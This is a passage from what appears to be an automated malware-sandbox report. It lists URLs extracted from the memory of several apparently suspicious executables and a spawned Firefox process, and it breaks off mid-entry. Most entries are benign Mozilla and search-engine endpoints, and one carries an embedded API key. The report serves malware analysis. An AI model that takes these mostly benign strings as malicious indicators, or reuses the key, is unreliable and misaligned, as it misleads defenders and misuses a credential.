Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001F.00000002.3017681976.000001B33BF09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1755496926.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2644729955.00000000053CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000002.3053805269.000001B33D1C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3031423613.000001B33C5D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1726055524.00000000056B9000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2610267928.0000000005409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000003.2926225289.000001B33C1CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2925719631.000001B344649000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2919144678.000001B344623000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001F.00000003.2925566342.000001B33C111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001F.00000002.3015291311.000001B33AC40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33883C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_showUpgradeDialog/onLocationChange/
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com:
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001F.00000002.3097336698.000001B33E9A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3129606500.000001B33FE46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001F.00000003.2888269525.000001B344408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3150693552.000001B344407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001F.00000003.2888269525.000001B344408000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3150693552.000001B344407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001F.00000002.2971568555.000001B338410000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000003.2780499937.000001B33C223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2781207897.000001B33C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001F.00000002.3031423613.000001B33C5E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881C:
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001F.00000002.2962993033.000001B337EF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FEC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001F.00000002.3129606500.000001B33FE96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: skotes.exe, 00000008.00000002.2939032434.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jrsoftware.org0
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001F.00000003.2914893645.000001B344432000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2878570013.000001B344427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2920683735.000001B344422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001F.00000002.2983947993.000001B339474000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2904782514.000001B33D1EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3053805269.000001B33D1EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001F.00000003.2904251821.000001B33D26D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3053805269.000001B33D1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A09032B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001F.00000002.3084413359.000001B33E736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2896470004.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3101337060.000001B33EADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C5D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001F.00000002.2997292239.000001B33A090000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comcreateContentPrincipalFromOriginupgradeTabsProgressListenerhttps://suppor
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, file.exe, 00000000.00000003.1753768288.0000000005681000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1768629735.000000000567A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754072616.0000000005682000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1969317057.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1768277939.000000000567A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2053561586.0000000000A44000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1753629044.0000000005680000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1741519626.0000000005680000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2053587361.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742005812.0000000005680000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1754462369.0000000005681000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1768902510.0000000005681000.00000004.00000800.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2623846534.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2623971408.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2686263448.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 